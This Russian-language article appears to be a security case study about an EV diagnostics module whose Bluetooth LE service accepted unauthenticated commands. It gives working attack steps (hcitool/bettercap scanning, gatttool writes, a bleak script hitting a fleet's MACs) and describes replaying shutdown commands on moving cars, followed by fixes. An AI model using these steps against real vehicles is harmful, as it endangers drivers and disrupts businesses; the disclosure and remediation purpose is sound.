Дыра в приложении для электрокаров: как Bluetooth без пароля мог обесточить курьерский автопарк

Курьерская служба на электромобилях — десяток машин, плотный городской трафик, жёсткие SLA по доставке. Для контроля состояния батарей водители и техники пользовались фирменным приложением диагностики: показывает заряд, температуру ячеек, историю зарядных циклов. Штатный, вроде бы безобидный сервис. Проблема обнаружилась не в коде самого приложения, а в том, как оно общалось с машиной по эфиру.

Где была дыра

Связь между смартфоном и диагностическим модулем электрокара шла по Bluetooth Low Energy (BLE) — это стандартный протокол для «тонких» устройств вроде фитнес-трекеров, датчиков и, как оказалось, автомобильной телеметрии. У BLE есть штатный механизм защиты: pairing (сопряжение) с PIN-кодом или passkey и обязательное шифрование канала. В этом модуле pairing либо не был включён вовсе, либо был настроен в режиме Just Works — самом слабом варианте, который вообще не требует подтверждения и не защищает от активного перехвата.

На практике это означало: GATT-сервисы модуля (характеристики чтения заряда, температуры, а главное — записи команд) были открыты для любого устройства в радиусе действия сигнала, без аутентификации и без шифрования трафика.

Как это эксплуатируется

Проверка и последующая атака на BLE-устройство без pairing укладываются в понятный алгоритм — его повторит любой человек с ноутбуком на базе Linux и обычным BLE-адаптером за 200 рублей.

Шаг 1. Обнаружение устройства

sudo hcitool lescan

Типичный вывод — рядом «светится» именованное устройство:

AA:BB:CC:11:22:33 EV-BAT-MODULE-04
AA:BB:CC:11:22:34 EV-BAT-MODULE-07

Уже по имени видно, что это не случайный гаджет, а серийный диагностический модуль — производитель не потрудился даже рандомизировать имя или MAC.

Шаг 2. Подключение и разведка GATT-сервисов

gatttool -b AA:BB:CC:11:22:33 --interactive
[AA:BB:CC:11:22:33][LE]> connect
Attempting to connect to AA:BB:CC:11:22:33
Connection successful
[AA:BB:CC:11:22:33][LE]> primary
attr handle: 0x0001, end grp handle: 0x0009 uuid: 0000180a-0000-1000-8000-00805f9b34fb
attr handle: 0x000a, end grp handle: 0x000f uuid: 6e400001-b5a3-f393-e0a9-e50e24dcca9e

Второй UUID — типичный кастомный сервис (в духе Nordic UART Service), через который производители часто пробрасывают «сырые» команды на плату вместо стандартизированных BLE-профилей. Дальше смотрим характеристики этого сервиса:

[AA:BB:CC:11:22:33][LE]> char-desc 0x000a 0x000f
handle: 0x000b, uuid: 6e400002-...  # write (команды)
handle: 0x000d, uuid: 6e400003-...  # notify (телеметрия)

Шаг 3. Проверка на pairing

[AA:BB:CC:11:22:33][LE]> char-write-req 0x000b 0100
Characteristic value was written successfully

Если бы канал требовал шифрования, ответ выглядел бы иначе:

Error: Attribute requires authentication before read/write

В нашем случае запись прошла без единого запроса на pairing — то есть сервис доступен в открытую, «как есть», любому устройству рядом.

Шаг 4. Автоматизация и массовый скан

Для промышленного сканирования парка машин удобнее bettercap с модулем BLE:

sudo bettercap -iface hci0
» ble.recon on
» ble.show

MAC                Name                RSSI  Vendor
AA:BB:CC:11:22:33  EV-BAT-MODULE-04    -42   Unknown
AA:BB:CC:11:22:34  EV-BAT-MODULE-07    -55   Unknown

По силе сигнала (RSSI) легко определить, какая машина ближе всего — то есть какую конкретно атаковать, стоя, например, на парковке у офиса или на светофоре в потоке.

Полутехнические пруфы, которые видны в таком инциденте

• Отсутствие Security Mode / Security Level выше 1 (No security) в конфигурации BLE-стека модуля
• Отсутствие Bonding — устройство не запоминает и не проверяет доверенные пары, принимает любой новый connect
• Кастомный GATT-сервис вместо стандартизированных профилей с встроенной защитой
• В логах диагностического модуля (если они вообще ведутся) — множественные connect/disconnect с разных MAC-адресов за короткий промежуток, что является прямым индикатором сканирования

Для справки: класс подобных проблем в BLE хорошо описан в исследованиях KNOB (CVE-2019-9506) и BIAS-атак на процедуру аутентификации Bluetooth — они показывают, что даже штатное шифрование можно понизить или обойти, если производитель не форсирует Secure Connections. Здесь ситуация ещё хуже: шифрования не было вообще, атаковать не требовалось ничего, кроме обычного смартфона.

Что и почему сработало бы дальше

Открытая характеристика на запись (write) в GATT-сервисе диагностического модуля — это не просто «утечка данных о батарее». Это прямой канал управления. Дальнейшее развитие атаки:

• Replay-атака. Достаточно один раз перехватить легитимный трафик приложения (например, через второй BLE-адаптер в режиме sniffer или через Wireshark + btmon), вычленить байтовую последовательность команды «отключить питание модуля» или «перевести в сервисный режим» — и воспроизвести её вручную.
• DoS на ходу. Команда сервисного режима или программный сброс контроллера батареи, отправленная во время движения, останавливает электрокар в потоке — с прямым риском для водителя и окружающих, не говоря уже о сорванной доставке.
• Слив телеметрии. Notify-характеристика (0x000d в примере выше) отдаёт историю зарядок и координаты последней стоянки без всякой авторизации — потенциальная утечка маршрутов и графика работы курьеров конкурентам.
• Массовость. Один скрипт на python (библиотека bleak или pygatt) с циклом по списку MAC-адресов машин компании превращает точечную шалость в системную атаку на весь автопарк одновременно.

from bleak import BleakClient
import asyncio

targets = ["AA:BB:CC:11:22:33", "AA:BB:CC:11:22:34"]

async def hit(mac):
    async with BleakClient(mac) as client:
        await client.write_gatt_char("6e400002-...", bytearray.fromhex("0100"))

asyncio.run(asyncio.gather(*(hit(m) for m in targets)))

Это не гипотетический сценарий из фантастики — ровно такой класс атак и лёг в основу новости про «шутников», которые научились глушить электрокары через Bluetooth прямо на ходу.

Во сколько это могло обойтись

Дальше — расчёт на языке денег, а не техники. Если бы кто-то на светофоре или парковке решил пошутить и отправил команду через диагностический модуль, машина могла заглохнуть посреди маршрута.

• Штраф от заказчика за просроченную доставку — в среднем 15 000 ₽ за случай
• Простой водителя и эвакуация машины
• Слив маршрутов и графика доставок через то же приложение
• Испорченный груз, если это скоропортящаяся продукция

При десяти машинах и плотном трафике в городе потенциальные потери легко доходили до 300 000 ₽ в месяц, если бы кто-то начал этим пользоваться массово. Плюс прямой риск для водителя, если электрокар встанет на оживлённой трассе.

Как закрыть

Устранение подобной уязвимости — это не переписывание приложения с нуля, а корректная настройка того, что и так предусмотрено спецификацией BLE, плюс контроль на уровне бэкенда сервисной службы.

• Включить LE Secure Connections и обязательный pairing с passkey (не Just Works) на уровне прошивки модуля — это закрывает саму возможность подключения без предъявления кода.
• Требовать шифрование для всех критичных характеристик — характеристика записи команд должна иметь атрибут Encrypt Required или Authenticated, тогда попытка записи без сопряжения вернёт ошибку доступа, а не выполнится молча.
• Включить Bonding — модуль должен запоминать доверенные устройства сервисной службы и отклонять новые connect без явного подтверждения.
• Привязать доступ к учётным записям — авторизация не на уровне «кто угодно с приложением», а на уровне конкретных сотрудников сервисной службы с индивидуальными токенами.
• Настроить мониторинг подключений — уведомление ответственному при попытке подключения постороннего устройства (в примере кейса — интеграция с корпоративным мессенджером) позволяет поймать разведку до того, как она перерастёт в атаку.
• Периодически сканировать собственный парк тем же bettercap ble.recon или hcitool lescan — если модуль «виден» и отвечает без pairing, значит патч ещё не встал на все машины.

Безопасность — это не про сложные пароли на компьютере. Это про то, чтобы посторонний человек не мог дотянуться до вашей машины через телефон в кармане.

В разобранном случае обновление прошивки с обязательной авторизацией по коду, привязка доступа к учётным записям сервисной службы и уведомления о попытках постороннего подключения заняли два дня. Стоимость исправления оказалась несопоставима с суммой потенциальных потерь — дешевле одного сорванного заказа с крупным клиентом. Компания даже не заметила бы эту дыру, если бы не аудит: приложение работало и показывало нужные данные, никто не жаловался.

Вывод простой: любое устройство с беспроводным подключением — от машины до кофемашины в переговорной — это потенциальная точка входа. Проверять стоит не только пароли сотрудников, но и технику.